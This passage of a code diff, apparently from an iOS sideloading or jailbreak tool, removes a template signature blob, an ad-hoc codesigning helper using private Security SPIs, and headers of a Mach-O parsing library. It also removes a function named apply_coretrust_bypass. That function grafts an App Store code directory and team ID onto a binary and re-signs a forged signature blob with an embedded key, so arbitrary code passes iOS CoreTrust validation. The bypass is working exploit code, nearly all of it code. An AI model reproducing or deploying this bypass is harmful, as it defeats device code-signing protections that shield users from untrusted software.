0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
0x0b, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x3b, 0x3d, 0x60, 0x8d, 0xa2,
0x95, 0x1e, 0x5b, 0xa6, 0x02, 0xb4, 0x71, 0xc3, 0xfa, 0x01, 0xf0, 0x1c,
0x1f, 0x15, 0x8d, 0xf0, 0x15, 0xcb, 0x76, 0x6a, 0xfd, 0xb4, 0x95, 0x14,
0x6f, 0xea, 0x4c, 0x1b, 0xf1, 0x32, 0x80, 0xe7, 0x97, 0x04, 0x00, 0x07,
0x4d, 0x86, 0x73, 0xbe, 0x5c, 0xd4, 0x13, 0xe4, 0x31, 0xb7, 0x94, 0xc0,
0x6a, 0xf9, 0x4a, 0x48, 0x7a, 0x44, 0xde, 0x67, 0xc8, 0xb2, 0xcd, 0xed,
0x2c, 0xff, 0x80, 0xec, 0x96, 0xc1, 0x2e, 0x37, 0x13, 0x67, 0x1b, 0xa3,
0x54, 0x63, 0x88, 0x84, 0x5d, 0x1a, 0xca, 0xc9, 0x58, 0xec, 0xca, 0x82,
0x38, 0x8d, 0x29, 0x1c, 0xca, 0x58, 0x50, 0xc4, 0xd0, 0x91, 0xba, 0x22,
0x7e, 0x73, 0x00, 0x58, 0x48, 0x5d, 0x49, 0xbd, 0xe7, 0xde, 0x35, 0x23,
0xfa, 0x60, 0x93, 0x12, 0x98, 0x2f, 0xf6, 0x8b, 0x38, 0x54, 0x32, 0x75,
0x0a, 0x3b, 0xed, 0x7f, 0x6a, 0x78, 0xf7, 0x87, 0x30, 0x49, 0xf4, 0x1f,
0x0d, 0x0a, 0x8b, 0xb7, 0xa7, 0x7e, 0x69, 0x48, 0x34, 0x6c, 0x9b, 0x77,
0xce, 0x0e, 0x68, 0xd9, 0x30, 0xb2, 0xc6, 0xa3, 0x30, 0x8a, 0x87, 0xd9,
0x25, 0xd7, 0x58, 0xc1, 0xae, 0x33, 0x4f, 0xeb, 0x2c, 0xcb, 0xf2, 0xb2,
0xe8, 0x2d, 0xa9, 0x4c, 0xa8, 0xd8, 0x64, 0x8b, 0x91, 0xdc, 0xb6, 0x55,
0x69, 0x84, 0x43, 0x4b, 0x75, 0xe6, 0xba, 0xd6, 0x58, 0x5b, 0x5e, 0xe7,
0x91, 0x5a, 0x69, 0x9b, 0xb6, 0x45, 0x7f, 0x1a, 0x9f, 0x0b, 0x87, 0xac,
0x4c, 0xc8, 0x58, 0x59, 0x18, 0x25, 0x02, 0x6c, 0xb2, 0x66, 0xf1, 0x2c,
0xc7, 0xaf, 0x68, 0x7a, 0x0e, 0x82, 0x93, 0x27, 0xd8, 0x75, 0x01, 0xdf,
0xd4, 0xa7, 0xba, 0xa5, 0x6e, 0xb2, 0x16, 0x49, 0x9a, 0xef, 0xdf, 0xec,
0xa7, 0x15, 0x78, 0x05, 0x68, 0x37, 0xaf, 0xf6, 0xfb, 0xa9, 0x3b, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int TemplateSignatureBlob_len = 6845;

View File

@ -1,4 +0,0 @@
#import <stdbool.h>
#import <Foundation/Foundation.h>
int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements);

View File

@ -1,186 +0,0 @@
#include <Foundation/Foundation.h>
#include <Security/Security.h>
#include <TargetConditionals.h>
#include <dlfcn.h>
#ifdef __cplusplus
extern "C" {
#endif
#if TARGET_OS_OSX
#include <Security/SecCode.h>
#include <Security/SecStaticCode.h>
#else
// CSCommon.h
typedef struct CF_BRIDGED_TYPE(id) __SecCode const* SecStaticCodeRef; /* code on disk */
typedef CF_OPTIONS(uint32_t, SecCSFlags) {
kSecCSDefaultFlags = 0, /* no particular flags (default behavior) */
kSecCSConsiderExpiration = 1U << 31, /* consider expired certificates invalid */
kSecCSEnforceRevocationChecks = 1 << 30, /* force revocation checks regardless of preference settings */
kSecCSNoNetworkAccess = 1 << 29, /* do not use the network, cancels "kSecCSEnforceRevocationChecks" */
kSecCSReportProgress = 1 << 28, /* make progress report call-backs when configured */
kSecCSCheckTrustedAnchors = 1 << 27, /* build certificate chain to system trust anchors, not to any self-signed certificate */
kSecCSQuickCheck = 1 << 26, /* (internal) */
kSecCSApplyEmbeddedPolicy = 1 << 25, /* Apply Embedded (iPhone) policy regardless of the platform we're running on */
};
// SecStaticCode.h
OSStatus SecStaticCodeCreateWithPathAndAttributes(CFURLRef path, SecCSFlags flags, CFDictionaryRef attributes,
SecStaticCodeRef* __nonnull CF_RETURNS_RETAINED staticCode);
// SecCode.h
CF_ENUM(uint32_t){
kSecCSInternalInformation = 1 << 0, kSecCSSigningInformation = 1 << 1, kSecCSRequirementInformation = 1 << 2,
kSecCSDynamicInformation = 1 << 3, kSecCSContentInformation = 1 << 4, kSecCSSkipResourceDirectory = 1 << 5,
kSecCSCalculateCMSDigest = 1 << 6,
};
OSStatus SecCodeCopySigningInformation(SecStaticCodeRef code, SecCSFlags flags, CFDictionaryRef* __nonnull CF_RETURNS_RETAINED information);
extern const CFStringRef kSecCodeInfoEntitlements; /* generic */
extern const CFStringRef kSecCodeInfoIdentifier; /* generic */
extern const CFStringRef kSecCodeInfoRequirementData; /* Requirement */
#endif
typedef CF_OPTIONS(uint32_t, SecPreserveFlags) {
kSecCSPreserveIdentifier = 1 << 0,
kSecCSPreserveRequirements = 1 << 1,
kSecCSPreserveEntitlements = 1 << 2,
kSecCSPreserveResourceRules = 1 << 3,
kSecCSPreserveFlags = 1 << 4,
kSecCSPreserveTeamIdentifier = 1 << 5,
kSecCSPreserveDigestAlgorithm = 1 << 6,
kSecCSPreservePreEncryptHashes = 1 << 7,
kSecCSPreserveRuntime = 1 << 8,
};
// SecCodeSigner.h
#ifdef BRIDGED_SECCODESIGNER
typedef struct CF_BRIDGED_TYPE(id) __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#else
typedef struct __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#endif
const CFStringRef kSecCodeSignerApplicationData = CFSTR("application-specific");
const CFStringRef kSecCodeSignerDetached = CFSTR("detached");
const CFStringRef kSecCodeSignerDigestAlgorithm = CFSTR("digest-algorithm");
const CFStringRef kSecCodeSignerDryRun = CFSTR("dryrun");
const CFStringRef kSecCodeSignerEntitlements = CFSTR("entitlements");
const CFStringRef kSecCodeSignerFlags = CFSTR("flags");
const CFStringRef kSecCodeSignerIdentifier = CFSTR("identifier");
const CFStringRef kSecCodeSignerIdentifierPrefix = CFSTR("identifier-prefix");
const CFStringRef kSecCodeSignerIdentity = CFSTR("signer");
const CFStringRef kSecCodeSignerPageSize = CFSTR("pagesize");
const CFStringRef kSecCodeSignerRequirements = CFSTR("requirements");
const CFStringRef kSecCodeSignerResourceRules = CFSTR("resource-rules");
const CFStringRef kSecCodeSignerSDKRoot = CFSTR("sdkroot");
const CFStringRef kSecCodeSignerSigningTime = CFSTR("signing-time");
const CFStringRef kSecCodeSignerRequireTimestamp = CFSTR("timestamp-required");
const CFStringRef kSecCodeSignerTimestampServer = CFSTR("timestamp-url");
const CFStringRef kSecCodeSignerTimestampAuthentication = CFSTR("timestamp-authentication");
const CFStringRef kSecCodeSignerTimestampOmitCertificates = CFSTR("timestamp-omit-certificates");
const CFStringRef kSecCodeSignerPreserveMetadata = CFSTR("preserve-metadata");
const CFStringRef kSecCodeSignerTeamIdentifier = CFSTR("teamidentifier");
const CFStringRef kSecCodeSignerPlatformIdentifier = CFSTR("platform-identifier");
#ifdef BRIDGED_SECCODESIGNER
OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* __nonnull CF_RETURNS_RETAINED signer)
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#else
OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* signer)
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
#endif
OSStatus SecCodeSignerAddSignatureWithErrors(SecCodeSignerRef signer, SecStaticCodeRef code, SecCSFlags flags, CFErrorRef* errors)
SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0));
// SecCodePriv.h
extern const CFStringRef kSecCodeInfoResourceDirectory; /* Internal */
#ifdef __cplusplus
}
#endif
int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements)
{
// We need to do this shit because iOS 14 does not have the symbol
OSStatus (*__SecCodeSignerCreate)(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef *signerRef) = dlsym(RTLD_DEFAULT, "SecCodeSignerCreate");
OSStatus (*__SecCodeSignerAddSignatureWithErrors)(SecCodeSignerRef signerRef, SecStaticCodeRef codeRef, SecCSFlags flags, CFErrorRef *errors) = dlsym(RTLD_DEFAULT, "SecCodeSignerAddSignatureWithErrors");
// if this is not found, all bets are off
if (!__SecCodeSignerCreate) return 404;
if (!__SecCodeSignerAddSignatureWithErrors) return 404;
NSString *filePath = [NSString stringWithUTF8String:path];
OSStatus status = 0;
int retval = 200;
// the special value "-" (dash) indicates ad-hoc signing
SecIdentityRef identity = (SecIdentityRef)kCFNull;
NSMutableDictionary* parameters = [[NSMutableDictionary alloc] init];
parameters[(__bridge NSString*)kSecCodeSignerIdentity] = (__bridge id)identity;
uint64_t preserveMetadataFlags = 0;
if (preserveMetadata) {
preserveMetadataFlags = (kSecCSPreserveIdentifier | kSecCSPreserveRequirements | kSecCSPreserveResourceRules);
if (!customEntitlements) {
preserveMetadataFlags |= kSecCSPreserveEntitlements;
}
parameters[(__bridge NSString*)kSecCodeSignerPreserveMetadata] = @(preserveMetadataFlags);
}
if (customEntitlements) {
NSError *error;
NSData *xmlData = [NSPropertyListSerialization dataWithPropertyList:customEntitlements format:NSPropertyListXMLFormat_v1_0 options:0 error:&error];
if (!xmlData) {
NSLog(@"Failed to encode entitlements: %@", error);
return -1;
}
else {
// Super easy to use API, definitely not busted...
// Did I forget to mention it just segfaults if you don't add this prefix?
uint32_t entitlementsData[xmlData.length+8];
entitlementsData[0] = OSSwapHostToBigInt32(0xFADE7171);
entitlementsData[1] = OSSwapHostToBigInt32(xmlData.length+8);
[xmlData getBytes:&entitlementsData[2] length:xmlData.length];
parameters[(__bridge NSString*)kSecCodeSignerEntitlements] = [NSData dataWithBytes:entitlementsData length:xmlData.length+8];
}
}
SecCodeSignerRef signerRef;
status = __SecCodeSignerCreate((__bridge CFDictionaryRef)parameters, kSecCSDefaultFlags, &signerRef);
if (status == 0) {
SecStaticCodeRef code;
status = SecStaticCodeCreateWithPathAndAttributes((__bridge CFURLRef)[NSURL fileURLWithPath:filePath], kSecCSDefaultFlags, (__bridge CFDictionaryRef)@{}, &code);
if (status == 0) {
CFErrorRef errors;
status = __SecCodeSignerAddSignatureWithErrors(signerRef, code, kSecCSDefaultFlags, &errors);
if (status == 0) {
CFDictionaryRef newSigningInformation;
// Difference from codesign: added kSecCSSigningInformation, kSecCSRequirementInformation, kSecCSInternalInformation
status = SecCodeCopySigningInformation(code, kSecCSDefaultFlags | kSecCSSigningInformation | kSecCSRequirementInformation | kSecCSInternalInformation, &newSigningInformation);
if (status == 0) {
retval = 0;
CFRelease(newSigningInformation);
} else {
retval = 203;
}
}
else {
printf("Error while signing: %s\n", ((__bridge NSError *)errors).description.UTF8String);
}
CFRelease(code);
}
else {
retval = 202;
}
CFRelease(signerRef);
}
else {
retval = 201;
}
return retval;
}

View File

@ -1,248 +0,0 @@
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <dirent.h>
#include <sys/stat.h>
#include <choma/CSBlob.h>
#include <choma/MachOByteOrder.h>
#include <choma/MachO.h>
#include <choma/Host.h>
#include <choma/MemoryStream.h>
#include <choma/FileStream.h>
#include <choma/BufferedStream.h>
#include <choma/Signing.h>
#include <choma/SignOSSL.h>
#include <choma/CodeDirectory.h>
#include <choma/Base64.h>
#include "Templates/AppStoreCodeDirectory.h"
#include "Templates/SignatureBlob.h"
#include "Templates/DecryptedSignature.h"
#include "Templates/PrivateKey.h"
// We can use static offsets here because we use a template signature blob
#define SIGNED_ATTRS_OFFSET 0x13C6 // SignedAttributes sequence
#define HASHHASH_OFFSET 0x1470 // SHA256 hash SignedAttribute
#define BASEBASE_OFFSET 0x15AD // Base64 hash SignedAttribute
#define SIGNSIGN_OFFSET 0x1602 // Signature
#define DECRYPTED_SIGNATURE_HASH_OFFSET 0x13
int update_signature_blob(CS_DecodedSuperBlob *superblob)
{
CS_DecodedBlob *sha256CD = csd_superblob_find_blob(superblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL);
if (!sha256CD) {
printf("Could not find CodeDirectory blob!\n");
return -1;
}
CS_DecodedBlob *signatureBlob = csd_superblob_find_blob(superblob, CSSLOT_SIGNATURESLOT, NULL);
if (!signatureBlob) {
printf("Could not find signature blob!\n");
return -1;
}
uint8_t fullHash[CC_SHA256_DIGEST_LENGTH];
size_t dataSizeToRead = csd_blob_get_size(sha256CD);
uint8_t *data = malloc(dataSizeToRead);
memset(data, 0, dataSizeToRead);
csd_blob_read(sha256CD, 0, dataSizeToRead, data);
CC_SHA256(data, (CC_LONG)dataSizeToRead, fullHash);
free(data);
uint8_t secondCDSHA256Hash[CC_SHA256_DIGEST_LENGTH];
memcpy(secondCDSHA256Hash, fullHash, CC_SHA256_DIGEST_LENGTH);
// Print the hash
printf("SHA256 hash: ");
for (int i = 0; i < CC_SHA256_DIGEST_LENGTH; i++) {
printf("%02x", secondCDSHA256Hash[i]);
}
printf("\n");
size_t base64OutLength = 0;
char *newBase64Hash = base64_encode(secondCDSHA256Hash, CC_SHA1_DIGEST_LENGTH, &base64OutLength);
if (!newBase64Hash) {
printf("Failed to base64 encode hash!\n");
return -1;
}
// Print the base64 hash
printf("Base64 hash: %.*s\n", CC_SHA256_DIGEST_LENGTH, newBase64Hash);
int ret = csd_blob_write(signatureBlob, HASHHASH_OFFSET, CC_SHA256_DIGEST_LENGTH, secondCDSHA256Hash);
if (ret != 0) {
printf("Failed to write SHA256 hash to signature blob!\n");
free(newBase64Hash);
return -1;
}
ret = csd_blob_write(signatureBlob, BASEBASE_OFFSET, base64OutLength, newBase64Hash);
if (ret != 0) {
printf("Failed to write base64 hash to signature blob!\n");
free(newBase64Hash);
return -1;
}
free(newBase64Hash);
unsigned char *newSignature = NULL;
size_t newSignatureSize = 0;
unsigned char newDecryptedSignature[0x33];
memset(newDecryptedSignature, 0, 0x33);
memcpy(newDecryptedSignature, DecryptedSignature, 0x33);
// Get the signed attributes hash
unsigned char signedAttrs[0x229];
memset(signedAttrs, 0, 0x229);
csd_blob_read(signatureBlob, SIGNED_ATTRS_OFFSET, 0x229, signedAttrs);
signedAttrs[0] = 0x31;
// Hash
uint8_t fullAttributesHash[CC_SHA256_DIGEST_LENGTH];
CC_SHA256(signedAttrs, (CC_LONG)0x229, fullAttributesHash);
memcpy(newDecryptedSignature + DECRYPTED_SIGNATURE_HASH_OFFSET, fullAttributesHash, CC_SHA256_DIGEST_LENGTH);
newSignature = signWithRSA(newDecryptedSignature, DecryptedSignature_len, CAKey, CAKeyLength, &newSignatureSize);
if (!newSignature) {
printf("Failed to sign the decrypted signature!\n");
return -1;
}
if (newSignatureSize != 0x100) {
printf("The new signature is not the correct size!\n");
free(newSignature);
return -1;
}
ret = csd_blob_write(signatureBlob, SIGNSIGN_OFFSET, newSignatureSize, newSignature);
free(newSignature);
return ret;
}
int apply_coretrust_bypass(const char *machoPath)
{
MachO *macho = macho_init_for_writing(machoPath);
if (!macho) return -1;
CS_SuperBlob *superblob = macho_read_code_signature(macho);
if (!superblob) {
printf("Error: no code signature found, please fake-sign the binary at minimum before running the bypass.\n");
return -1;
}
CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_decode(superblob);
uint64_t originalCodeSignatureSize = BIG_TO_HOST(superblob->length);
free(superblob);
CS_DecodedBlob *realCodeDirBlob = NULL;
CS_DecodedBlob *mainCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_CODEDIRECTORY, NULL);
CS_DecodedBlob *alternateCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL);
if (!mainCodeDirBlob) {
printf("Error: Unable to find code directory, make sure the input binary is ad-hoc signed?\n");
return -1;
}
// We need to determine which code directory to transfer to the new binary
if (alternateCodeDirBlob) {
// If an alternate code directory exists, use that and remove the main one from the superblob
realCodeDirBlob = alternateCodeDirBlob;
csd_superblob_remove_blob(decodedSuperblob, mainCodeDirBlob);
csd_blob_free(mainCodeDirBlob);
}
else {
// Otherwise use the main code directory
realCodeDirBlob = mainCodeDirBlob;
}
if (csd_code_directory_get_hash_type(realCodeDirBlob) != CS_HASHTYPE_SHA256_256) {
printf("Error: Alternate code directory is not SHA256, bypass won't work!\n");
return -1;
}
printf("Applying App Store code directory...\n");
// Append real code directory as alternateCodeDirectory at the end of superblob
csd_superblob_remove_blob(decodedSuperblob, realCodeDirBlob);
csd_blob_set_type(realCodeDirBlob, CSSLOT_ALTERNATE_CODEDIRECTORIES);
csd_superblob_append_blob(decodedSuperblob, realCodeDirBlob);
// Insert AppStore code directory as main code directory at the start
CS_DecodedBlob *appStoreCodeDirectoryBlob = csd_blob_init(CSSLOT_CODEDIRECTORY, (CS_GenericBlob *)AppStoreCodeDirectory);
csd_superblob_insert_blob_at_index(decodedSuperblob, appStoreCodeDirectoryBlob, 0);
printf("Adding new signature blob...\n");
CS_DecodedBlob *signatureBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_SIGNATURESLOT, NULL);
if (signatureBlob) {
// Remove existing signatureBlob if existant
csd_superblob_remove_blob(decodedSuperblob, signatureBlob);
csd_blob_free(signatureBlob);
}
// Append new template blob
signatureBlob = csd_blob_init(CSSLOT_SIGNATURESLOT, (CS_GenericBlob *)TemplateSignatureBlob);
csd_superblob_append_blob(decodedSuperblob, signatureBlob);
// After Modification:
// 1. App Store CodeDirectory (SHA1)
// ?. Requirements
// ?. Entitlements
// ?. DER entitlements
// 5. Actual CodeDirectory (SHA256)
// 6. Signature blob
printf("Updating TeamID...\n");
// Get team ID from AppStore code directory
// For the bypass to work, both code directories need to have the same team ID
char *appStoreTeamID = csd_code_directory_copy_team_id(appStoreCodeDirectoryBlob, NULL);
if (!appStoreTeamID) {
printf("Error: Unable to determine AppStore Team ID\n");
return -1;
}
// Set the team ID of the real code directory to the AppStore one
if (csd_code_directory_set_team_id(realCodeDirBlob, appStoreTeamID) != 0) {
printf("Error: Failed to set Team ID\n");
return -1;
}
printf("TeamID set to %s!\n", appStoreTeamID);
free(appStoreTeamID);
// Set flags to 0 to remove any problematic flags (such as the 'adhoc' flag in bit 2)
csd_code_directory_set_flags(realCodeDirBlob, 0);
printf("Encoding unsigned superblob...\n");
CS_SuperBlob *encodedSuperblobUnsigned = csd_superblob_encode(decodedSuperblob);
printf("Updating load commands...\n");
if (update_load_commands_for_coretrust_bypass(macho, encodedSuperblobUnsigned, originalCodeSignatureSize, memory_stream_get_size(macho->stream)) != 0) {
printf("Error: failed to update load commands!\n");
return -1;
}
free(encodedSuperblobUnsigned);
printf("Updating code slot hashes...\n");
csd_code_directory_update(realCodeDirBlob, macho);
int ret = 0;
printf("Signing binary...\n");
ret = update_signature_blob(decodedSuperblob);
if(ret == -1) {
printf("Error: failed to create new signature blob!\n");
return -1;
}
printf("Encoding signed superblob...\n");
CS_SuperBlob *newSuperblob = csd_superblob_encode(decodedSuperblob);
printf("Writing superblob to MachO...\n");
// Write the new signed superblob to the MachO
macho_replace_code_signature(macho, newSuperblob);
csd_superblob_free(decodedSuperblob);
free(newSuperblob);
macho_free(macho);
return 0;
}

View File

@ -1 +0,0 @@
int apply_coretrust_bypass(const char *machoPath);

View File

@ -1,11 +0,0 @@
#ifndef BASE64_H
#define BASE64_H
#include <stdint.h>
#include <stdlib.h>
char *base64_encode(const unsigned char *data,
size_t input_length,
size_t *output_length);
#endif // BASE64_H

View File

@ -1,19 +0,0 @@
#ifndef BUFFERED_STREAM_H
#define BUFFERED_STREAM_H
#include "MemoryStream.h"
#include <stdbool.h>
#define BUFFERED_STREAM_FLAG_AUTO_EXPAND (1 << 0)
typedef struct BufferedStreamContext {
uint8_t *buffer;
size_t bufferSize;
uint32_t subBufferStart;
size_t subBufferSize;
} BufferedStreamContext;
MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags);
MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags);
#endif // BUFFERED_STREAM_H

View File

@ -1,108 +0,0 @@
#ifndef CS_BLOB_H
#define CS_BLOB_H
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
#include "FAT.h"
#include "MachO.h"
#include "MemoryStream.h"
// Blob index
typedef struct __BlobIndex {
uint32_t type;
uint32_t offset;
} CS_BlobIndex;
// CMS superblob
typedef struct __SuperBlob {
uint32_t magic;
uint32_t length;
uint32_t count;
CS_BlobIndex index[];
} CS_SuperBlob;
typedef struct __GenericBlob {
uint32_t magic; /* magic number */
uint32_t length; /* total length of blob */
char data[];
} CS_GenericBlob;
// CMS blob magic types
enum {
CSBLOB_REQUIREMENT = 0xfade0c00,
CSBLOB_REQUIREMENTS = 0xfade0c01,
CSBLOB_CODEDIRECTORY = 0xfade0c02,
CSBLOB_EMBEDDED_SIGNATURE = 0xfade0cc0,
CSBLOB_DETACHED_SIGNATURE = 0xfade0cc1,
CSBLOB_ENTITLEMENTS = 0xfade7171,
CSBLOB_DER_ENTITLEMENTS = 0xfade7172,
CSBLOB_SIGNATURE_BLOB = 0xfade0b01
} CS_BlobType;
enum {
CSSLOT_CODEDIRECTORY = 0,
CSSLOT_INFOSLOT = 1,
CSSLOT_REQUIREMENTS = 2,
CSSLOT_RESOURCEDIR = 3,
CSSLOT_APPLICATION = 4,
CSSLOT_ENTITLEMENTS = 5,
CSSLOT_DER_ENTITLEMENTS = 7,
CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000,
CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5,
CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX,
CSSLOT_SIGNATURESLOT = 0x10000
} CS_SlotType;
typedef struct s_CS_DecodedBlob {
struct s_CS_DecodedBlob *next;
uint32_t type;
MemoryStream *stream;
} CS_DecodedBlob;
typedef struct s_CS_DecodedSuperBlob {
uint32_t magic;
struct s_CS_DecodedBlob *firstBlob;
} CS_DecodedSuperBlob;
// Convert blob magic to readable blob type string
char *cs_blob_magic_to_string(int magic);
// Extract Code Signature to file
int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob);
int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut);
CS_SuperBlob *macho_read_code_signature(MachO *macho);
int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob);
int update_load_commands(MachO *macho, CS_SuperBlob *superblob, uint64_t originalSize);
CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData);
int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf);
int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);
int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);
int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size);
int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString);
int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string);
int csd_blob_get_size(CS_DecodedBlob *blob);
uint32_t csd_blob_get_type(CS_DecodedBlob *blob);
void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type);
void csd_blob_free(CS_DecodedBlob *blob);
CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob);
CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob);
CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut);
int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob);
int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex);
int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend);
int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove); // <- Important: When calling this, caller is responsible for freeing blobToRemove
int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex);
int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots);
void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob);
#endif // CS_BLOB_H

View File

@ -1,53 +0,0 @@
#ifndef CODE_DIRECTORY_H
#define CODE_DIRECTORY_H
#include <stdint.h>
#include <math.h>
#include <CommonCrypto/CommonDigest.h>
#include "MachO.h"
#include "CSBlob.h"
#include "FAT.h"
#include "MachOByteOrder.h"
#include "MachOLoadCommand.h"
#include "MemoryStream.h"
// Code directory blob header
typedef struct __CodeDirectory {
uint32_t magic;
uint32_t length;
uint32_t version;
uint32_t flags;
uint32_t hashOffset;
uint32_t identOffset;
uint32_t nSpecialSlots;
uint32_t nCodeSlots;
uint32_t codeLimit;
uint8_t hashSize;
uint8_t hashType;
uint8_t spare1;
uint8_t pageSize;
uint32_t spare2;
uint32_t scatterOffset;
uint32_t teamOffset;
} CS_CodeDirectory;
enum CS_HashType {
CS_HASHTYPE_SHA160_160 = 1,
CS_HASHTYPE_SHA256_256 = 2,
CS_HASHTYPE_SHA256_160 = 3,
CS_HASHTYPE_SHA384_384 = 4,
};
char *csd_code_directory_copy_identity(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);
char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);
int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID);
uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob);
void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags);
uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob);
void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType);
int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots);
void csd_code_directory_update(CS_DecodedBlob *codeDirBlob, MachO *macho);
#endif // CODE_DIRECTORY_H

View File

@ -1,41 +0,0 @@
#ifndef MACHO_H
#define MACHO_H
#include <stdio.h>
#include <libkern/OSByteOrder.h>
#include <mach/mach.h>
#include <mach-o/loader.h>
#include <mach-o/fat.h>
#include <sys/stat.h>
#include "MemoryStream.h"
typedef struct MachO MachO;
// A FAT structure can either represent a FAT file with multiple slices, in which the slices will be loaded into the slices attribute
// Or a single slice MachO, in which case it serves as a compatibility layer and the single slice will also be loaded into the slices attribute
typedef struct FAT
{
MemoryStream *stream;
MachO **slices;
uint32_t slicesCount;
int fileDescriptor;
} FAT;
int fat_read_at_offset(FAT *fat, uint64_t offset, size_t size, void *outBuf);
MemoryStream *fat_get_stream(FAT *fat);
// Initialise a FAT structure from a memory stream
FAT *fat_init_from_memory_stream(MemoryStream *stream);
// Initialise a FAT structure using the path to the file
FAT *fat_init_from_path(const char *filePath);
//FAT *fat_init_from_path_for_writing(const char *filePath);
// Find macho with cputype and cpusubtype in FAT, returns NULL if not found
MachO *fat_find_slice(FAT *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype);
// Free all elements of the FAT structure
void fat_free(FAT *fat);
#endif // MACHO_H

View File

@ -1,21 +0,0 @@
#ifndef FILE_STREAM_H
#define FILE_STREAM_H
#include "MemoryStream.h"
#define FILE_STREAM_SIZE_AUTO 0
#define FILE_STREAM_FLAG_WRITABLE (1 << 0)
#define FILE_STREAM_FLAG_AUTO_EXPAND (1 << 1)
typedef struct FileStreamContext {
int fd;
size_t fileSize;
uint32_t bufferStart;
size_t bufferSize;
} FileStreamContext;
MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
#endif // FILE_STREAM_H

View File

@ -1,10 +0,0 @@
#ifndef HOST_H
#define HOST_H
#include "FAT.h"
// Retrieve the preferred MachO slice from a FAT
// Preferred slice as in the slice that the kernel would use when loading the file
MachO *fat_find_preferred_slice(FAT *fat);
#endif // HOST_H

View File

@ -1,62 +0,0 @@
#ifndef MACHO_SLICE_H
#define MACHO_SLICE_H
#include <stdbool.h>
#include <mach-o/fat.h>
#include <mach-o/loader.h>
#include "MemoryStream.h"
#include "FAT.h"
typedef struct MachOSegment
{
struct segment_command_64 command;
struct section_64 sections[];
} __attribute__((__packed__)) MachOSegment;
typedef struct FilesetMachO {
char *entry_id;
uint64_t vmaddr;
uint64_t fileoff;
FAT *underlyingMachO;
} FilesetMachO;
typedef struct MachO {
MemoryStream *stream;
bool isSupported;
struct mach_header_64 machHeader;
